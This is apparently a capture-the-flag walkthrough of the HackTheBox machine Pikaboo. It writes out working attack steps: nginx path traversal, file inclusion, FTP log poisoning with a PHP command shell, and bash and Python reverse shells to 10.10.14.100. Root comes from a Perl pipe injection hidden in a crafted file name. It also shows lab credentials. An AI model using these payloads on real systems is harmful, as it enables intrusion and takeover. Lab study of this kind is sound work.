Enumeration

sudo nmap -sC -sS -sV -F 10.10.10.249 >scan.txt

Starting Nmap 7.92 ( <https://nmap.org> ) at 2021-11-17 20:14 EET
Nmap scan report for 10.10.10.249
Host is up (0.069s latency).
Not shown: 97 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 17:e1:13:fe:66:6d:26:b6:90:68:d0:30:54:2e:e2:9f (RSA)
|   256 92:86:54:f7:cc:5a:1a:15:fe:c6:09:cc:e5:7c:0d:c3 (ECDSA)
|_  256 f4đź’ż6f:3b:19:9c:cf:33:c6:6d:a5:13:6a:61:01:42 (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Pikaboo
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 9.92 seconds

There is a website on port 80 and an ftp server. Those may be access points.

In the website, there is an exposed admin section, which requires credentials.

I tried sqlmap on http://10.10.10.249/pokeapi.php?id=1 with no results. If we run an nmap vulnerabilities scan

nmap -sV -A --script vuln 10.10.10.249

we get a lot of admin pages that require authentication.

80/tcp open  http    nginx 1.14.2
| http-enum:
|   /admin/: Possible admin folder (401 Unauthorized)
|   /admin/admin/: Possible admin folder (401 Unauthorized)
|   /administrator/: Possible admin folder (401 Unauthorized)
|   /adminarea/: Possible admin folder (401 Unauthorized)
|   /adminLogin/: Possible admin folder (401 Unauthorized)
|   /admin_area/: Possible admin folder (401 Unauthorized)
|   /administratorlogin/: Possible admin folder (401 Unauthorized)
|   /admin/account.php: Possible admin folder (401 Unauthorized)
|   /admin/index.php: Possible admin folder (401 Unauthorized)
|   /admin/login.php: Possible admin folder (401 Unauthorized)
|   /admin/admin.php: Possible admin folder (401 Unauthorized)
|   /admin_area/admin.php: Possible admin folder (401 Unauthorized)

Getting the foothold

I guess nobody adds this much pages, so it must be some configuration of htaccess or nginx to require login on admin* pages. If we investigate more, we can guess it may be caused by an Off-By-Slash misconfiguration of nginx:

It may look like the following:

location /admin {
        alias /usr/share/nginx/admin/;
}

Nginx will parse until finding /admin, which means a request like /administrator/ is resolved as /usr/share/nginx/admin/istrator/.

By knowing that, we can easily exploit this misconfiguration, by traversing the path, with /admin../. If we request the page, we will get a Forbidden response. This means we have bypassed the authentication.

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 81</address>
</body></html>

Now we now we can traverse directories. Although, we are still not able to access admin page by doing /admin../admin/, so we can try fuzzing for finding other access points, such as config files or things like that.

gobuster fuzz -w /usr/share/dirbuster/directory-list-lowercase-2.3-medium.txt -u <http://10.10.10.249/admin../FUZZ> -b 404

We get some hits!

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     <http://10.10.10.249/admin../FUZZ>
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Excluded Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/11/17 20:59:05 Starting gobuster in fuzzing mode
===============================================================
Found: [Status=401] [Length=456] <http://10.10.10.249/admin../admin>
Found: [Status=301] [Length=314] <http://10.10.10.249/admin../javascript>
Found: [Status=200] [Length=4617] <http://10.10.10.249/admin../server-status>

We can access the server-status page, which gives us information about the Apache server.

Srv PID Acc M   CPU SS  Req Conn    Child   Slot    Client  VHost   Request
0-1 684 0/11394/11394   _   2.29    0   0   0.0 7.11    7.11    127.0.0.1   localhost:81    GET /admin_staging HTTP/1.1
1-1 685 0/11351/11351   _   2.26    0   0   0.0 6.61    6.61    127.0.0.1   localhost:81    GET /admin/../edelstein HTTP/1.0
2-1 686 0/11470/11470   _   2.30    0   0   0.0 6.99    6.99    127.0.0.1   localhost:81    GET /admin/../buy_tramadol HTTP/1.0
3-1 687 0/11318/11318   W   2.25    0   0   0.0 7.35    7.35    127.0.0.1   localhost:81    GET /admin/../server-status HTTP/1.0
4-1 688 0/11404/11404   _   2.25    0   0   0.0 6.64    6.64    127.0.0.1   localhost:81    GET /admin/../2172540 HTTP/1.0
5-1 27860   0/10826/10826   _   2.27    0   0   0.0 7.11    7.11    127.0.0.1   localhost:81    GET /admin/../005771 HTTP/1.0
6-1 16053   0/8101/8101 _   1.56    0   0   0.0 4.45    4.45    127.0.0.1   localhost:81    GET /admin/../lookbook HTTP/1.0
7-1 17107   0/5713/5713 _   1.09    0   0   0.0 3.20    3.20    127.0.0.1   localhost:81    GET /admin/../skincare HTTP/1.0

We can see more endpoints, such as admin_staging. If we try http://10.10.10.249/admin../admin_staging/, we get to an admin dashboard!

The page seems useless, as you can’t interact with anything, and the user profile form does not change anything. Although, if you pay attention to the url, you will see the pages are loaded by php file: [http://10.10.10.249/admin](http://10.10.10.249/admin)``../admin_staging/index.php?page=dashboard.php

Getting the user flag

The page seems to be vulnerable to Local File Inclusion (LFI). We can fuzz the page parameter with linux paths.

gobuster fuzz -w /usr/share/dirbuster/vulns/file_inclusion_linux.txt -u <http://10.10.10.249/admin../admin_staging/index.php\\?page\\=/FUZZ> --exclude-length 15349 -b 400

And we get some interesting files:

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     <http://10.10.10.249/admin../admin_staging/index.php?page=/FUZZ>
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/vulns/file_inclusion_linux.txt
[+] Excluded Status codes:   400
[+] Exclude Length:          15349
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/11/17 21:41:29 Starting gobuster in fuzzing mode
===============================================================
Found: [Status=200] [Length=47381] <http://10.10.10.249/admin../admin_staging/index.php?page=//var/log/faillog>
Found: [Status=200] [Length=307641] <http://10.10.10.249/admin../admin_staging/index.php?page=//var/log/lastlog>
Found: [Status=200] [Length=19803] <http://10.10.10.249/admin../admin_staging/index.php?page=//var/log/vsftpd.log>
Found: [Status=200] [Length=169717] <http://10.10.10.249/admin../admin_staging/index.php?page=//var/log/wtmp>

We can see some logs in vsftpd.log. This file stores all the login attempts for the ftp server. Pages are rendered by php, so we can try Log Poisoning.

ftp 10.10.10.249
Connected to 10.10.10.249.
220 (vsFTPd 3.0.3)
Name (10.10.10.249:zebra): '<?php system($_GET['c']); ?>'
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed.
ftp>

This will create an entry in the file with the php code as name, so it will be executed. We can run commands with the following: ?page=//var/log/vsftpd.log&c=ifconfig.

We can create a reverse shell adding another poison entry with the following command:

ftp 10.10.10.249
Connected to 10.10.10.249.
220 (vsFTPd 3.0.3)
Name (10.10.10.249:zebra): '<?php exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.14.100/6666 0>&1'"); ?>'
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed.
ftp>

Just listen with netcat and reload the page, and we will have www-data!

There is python3 installed, so we can upgrade the shell.

python3 -c 'import pty; pty.spawn("/bin/bash")'

And we will have an upgraded shell:

www-data@pikaboo:/var/www/html/admin_staging$

You can now grab the user flag from the pwnmeow home dir.

Privilege escalation

As the page said, there is a pokeapi thing under development. We can do a quick search:

find / -name '*pokeapi*' 2>/dev/null

And we get some interesting results.

/run/pokeapi
/var/www/html/pokatdex/pokeapi.php
/etc/systemd/system/pokeapi.service
/etc/tmpfiles.d/pokeapi.conf
/opt/pokeapi

We can see some source code in /opt/pokeapi. Inside the config folder, there is a settings.py file which contains some interesting information:

DATABASES = {
    "ldap": {
        "ENGINE": "ldapdb.backends.ldap",
        "NAME": "ldap:///",
        "USER": "cn=binduser,ou=users,dc=pikaboo,dc=htb",
        "PASSWORD": "J~42%W?PFHl]g",
    },
    "default": {
        "ENGINE": "django.db.backends.sqlite3",
        "NAME": "/opt/pokeapi/db.sqlite3",
    }
}

CACHES = {
    "default": {
        "BACKEND": "django_redis.cache.RedisCache",
        "LOCATION": "redis://127.0.0.1:6379/1",
        "OPTIONS": {
            "CLIENT_CLASS": "django_redis.client.DefaultClient",
        },
    }
}

SECRET_KEY = os.environ.get(
    "SECRET_KEY", "ubx+22!jbo(^x2_scm-o$*py3e@-awu-n^hipkm%2l$sw$&2l#"
)

First of all, it is running ldap. There is also a plain text password there. As we have a password, we may try with ldapsearch with the following parameters:

-x Simple Authentication
-h LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given

We can infer the parameters from the config above.

ldapsearch -x -h 127.0.0.1 -D'cn=binduser,ou=users,dc=pikaboo,dc=htb' -w 'J~42%W?PFHl]g' -b "dc=pikaboo,dc=htb"

We will get some passwords.

# pwnmeow, users, ftp.pikaboo.htb
dn: uid=pwnmeow,ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
uid: pwnmeow
cn: Pwn
sn: Meow
loginShell: /bin/bash
uidNumber: 10000
gidNumber: 10000
homeDirectory: /home/pwnmeow
userPassword:: X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==

# binduser, users, pikaboo.htb
dn: cn=binduser,ou=users,dc=pikaboo,dc=htb
cn: binduser
objectClass: simpleSecurityObject
objectClass: organizationalRole
userPassword:: Sn40MiVXP1BGSGxdZw==

If we decrypt the passwords with base64, we get the following:

> echo "X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==" | base64 -d
_G0tT4_C4tcH_'3m_4lL!_
> echo "Sn40MiVXP1BGSGxdZw==" | base64 -d
J~42%W?PFHl]g

There is a new password which seems to be used to log in as pwnmeow in ftp. We can login from outside the reverse shell:

> ftp 10.10.10.249
Connected to 10.10.10.249.
220 (vsFTPd 3.0.3)
Name (10.10.10.249:zebra): pwnmeow
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

By investigating the cronjobs, we can see there is one running:

www-data@pikaboo:/opt/pokeapi$ cat /etc/crontab
cat /etc/crontab

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root /usr/local/bin/csvupdate_cron

If we read the content of the script:

#!/bin/bash

for d in /srv/ftp/*
do
  cd $d
  /usr/local/bin/csvupdate $(basename $d) *csv
  /usr/bin/rm -rf *
done

The script is being called with the basename of the directory and every file ending in csv inside, for example: types water.csv. The code of the csvupdate script is in perl.

my $fname = "${csv_dir}/${type}.csv";
open(my $fh, ">>", $fname) or die "Unable to open CSV target file.\\n";

It uses the open function, which documentation shows us a possible flaw:

If the last character is a pipe, then the command is executed and its standard output is fed into the filehandle where it can be read using Perl’s file input mechanisms. – “Perl for Perl Newbies” - Part 4

The first arg of the script is appended to the fname variable, but it is checked so it matches one of the csv_fields map, so we cannot inject code there.

The actual vulnerability is in the following lines:

shift;
for(<>)
{
    ...
}

In perl, the <> performs an open of the argv. As we mentioned, the open function can lead to weird behavior if the file name contains a pipe character.

For example, the lines above executed like this:

perl script *csv

inside a directory with the following files (we need to ensure our files end in csv or they will be ignored by the wildcard):

-rw-r--r-- 1 zebra zebra    0 Nov 18 10:03 water.csv
-rw-r--r-- 1 zebra zebra    0 Nov 18 10:12 |echo test;echo .csv

would run the echo test and the echo .csv.

There is a new double diamond operator (<<>>) to fix this issue, but it is weird that the default behavior can be exploited that easily.

Going back to the machine, we are going to setup everything on the host to perform the exploit. We will create two files, one that is empty (which I named empty haha) and another one with the reverse shell as described above.

touch "|python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("\\"10.10.14.100\\"",6667));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("\\"sh\\"")';.csv"
touch empty

From that dir, we can now connect to the ftp with the credentials we discovered previously and put the file.

ftp> put
(local-file) test
(remote-file) "|python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("\\"10.10.14.100\\"",6667));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("\\"sh\\"")';.csv"
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
ftp>

With a netcat listening, we will receive a connection from root:

# whoami
root

And we can now get the root flag!

References